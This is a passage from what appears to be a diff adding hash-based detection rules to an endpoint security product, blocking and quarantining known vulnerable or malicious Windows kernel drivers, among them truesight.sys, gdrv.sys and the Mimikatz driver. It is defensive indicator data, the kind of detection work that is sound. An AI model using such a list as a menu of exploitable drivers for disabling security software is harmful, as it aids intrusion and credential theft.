+  "hl_testing_start_time": "2026-03-23T11:45:31.151611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4494f5066385b1ccd758a513c426556b8591288c5bd180ddea35f42bae761b18",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c11cab9-7ce3-549b-bdda-7752d65c6cbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828022Z",
+  "creation_date": "2026-03-23T11:45:31.828026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0711adbe0d45695e507b196625c70f29f17af40d48e1575903d3c658803ffb2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c19dc67-ed30-5824-8490-74110b6730b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820298Z",
+  "creation_date": "2026-03-23T11:45:31.820301Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820310Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97b2275049846d6a65b7a684085f6e984db9a6a62e4547a984a7441e14b6bd5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c308c1d-a694-5f55-b0d1-ecddc04094bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979812Z",
+  "creation_date": "2026-03-23T11:45:29.979814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979819Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3700b38d63d426ff0a985226b45eca6e24d052f4262d12aff529e62c2cb889c3",
+  "comment": "Vulnerable Kernel Driver (aka nt4.sys) [https://www.loldrivers.io/drivers/1d4f7a3a-786b-4a74-b34f-14d44343de9e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c395fec-937e-5e55-ad01-37bd3caf8818",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822037Z",
+  "creation_date": "2026-03-23T11:45:30.822039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822046Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9b98a8234d3e560feef5ec88f35960f631d111351d7085c011e055dfec7d3ce",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c3dc435-ec9d-59a5-94b8-f4e8bb17e528",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621496Z",
+  "creation_date": "2026-03-23T11:45:29.621498Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621503Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71ff60722231c7641ad593756108cf6779dbaad21c7b08065fb1d4e225eab14d",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c4c470f-10f4-5078-aec0-2ccf414d7938",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486371Z",
+  "creation_date": "2026-03-23T11:45:31.486374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486382Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d45901faf83202835300cfe959227a39001b8c37681cd67359f36158431c07f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c518d00-1ef3-5487-9b4c-ea857db77aff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971749Z",
+  "creation_date": "2026-03-23T11:45:29.971751Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e6363a6393eb4234667c6f614b2072e33512866b3204f8395bbe01530d63f2f",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c68a0e4-de31-5fa6-b957-10f27179ca83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479797Z",
+  "creation_date": "2026-03-23T11:45:31.479800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b382a9b09066a08e1db92e46cb2cf14f3741b1a5342a40ec7d1acb00fab7ada",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c6ae79e-7b43-5c5b-b8c7-8d4c55ab8b0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459821Z",
+  "creation_date": "2026-03-23T11:45:30.459824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88992ddcb9aaedb8bfcc9b4354138d1f7b0d7dddb9e7fcc28590f27824bee5c3",
+  "comment": "Vulnerable Kernel Driver (aka gdrv.sys) [https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c775d63-c31f-57b3-839b-e712bc597999",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832624Z",
+  "creation_date": "2026-03-23T11:45:30.832626Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832631Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77ae110ba425dcefb6fbfaa7f6a72324361f027cf32fee91f1b13c4add422150",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c797afb-4736-55da-b34c-c721b3c05f0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970280Z",
+  "creation_date": "2026-03-23T11:45:29.970281Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ff7578df7293e50c9bdd48657a6ba0c60e1f6d06a2dd334f605af34fe6f75a5",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c7a0810-fbdf-5208-8710-3728c3516c98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818351Z",
+  "creation_date": "2026-03-23T11:45:31.818355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ee10186740679439654168d2319de2a1a8a3fc1077acb505db8636c28b8dd89",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c7c1adf-cb51-5076-b56b-a2b7c2b551a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610846Z",
+  "creation_date": "2026-03-23T11:45:29.610848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0b5a5f8333fc1213791af5c5814d7a99615b3951361ca75f8aa5022c9cfbc2b",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8c99092a-f034-5bdd-b44c-f6fcafb0191b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812562Z",
+  "creation_date": "2026-03-23T11:45:31.812564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09ada32541233dce3a892b93d39bb02611b3a31d6704f676f83b40f8ce215133",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ca22587-b8ea-57d3-a2f7-ed29b9e9b48e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826026Z",
+  "creation_date": "2026-03-23T11:45:31.826029Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29c2e854791e4f948e2117dde442d8671f6b365efcaf80a1579c08e275e55b34",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ca2a791-1061-5e13-bb66-573e3875f866",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809006Z",
+  "creation_date": "2026-03-23T11:45:31.809008Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809013Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae60bdc5497190c5bd278f2e4c7afd1c5b8604d49d1b9f448efc75f7ef9b7d54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ca2e12b-dc7b-5bed-935c-2fd03f128dc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810450Z",
+  "creation_date": "2026-03-23T11:45:31.810452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810458Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f3bc8ff2bcfaf8c59ce9b946ea8abf2c0530af9da66b8ccb3760b10264794df",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cc53f01-1a89-5a5c-8434-235fc4898f77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819191Z",
+  "creation_date": "2026-03-23T11:45:31.819193Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a19007ece916157952ff5cda5bf0b4342d2f009a7d368aaa29c169d3794d9016",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cc581fb-33c6-5ade-8fab-557e913534f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500176Z",
+  "creation_date": "2026-03-23T11:45:31.500179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f0f4c9253ff3380224484a8a9ef15971dbaffbed1d09a7e0ee48fdfca3d1501d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ccfd284-a8b7-5204-9cd3-d8d7f0b87b43",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469008Z",
+  "creation_date": "2026-03-23T11:45:30.469011Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b4ac66225600b3d5b89f6b0440ccdd0f59279fd0bbf4af82f1aab63df54b883",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cd3943a-5473-5e11-a399-4c88312d1f49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466072Z",
+  "creation_date": "2026-03-23T11:45:30.466075Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466084Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12b0000698b79ea3c8178b9e87801cc34bad096a151a8779559519deafd4e3f0",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8cd599b5-6587-5d02-8242-09eeaac6cdf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827893Z",
+  "creation_date": "2026-03-23T11:45:30.827895Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827900Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "415fa8623e0e8ec991093365cfce3a913f8711198fcf2e7ffb4d59712348ab67",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
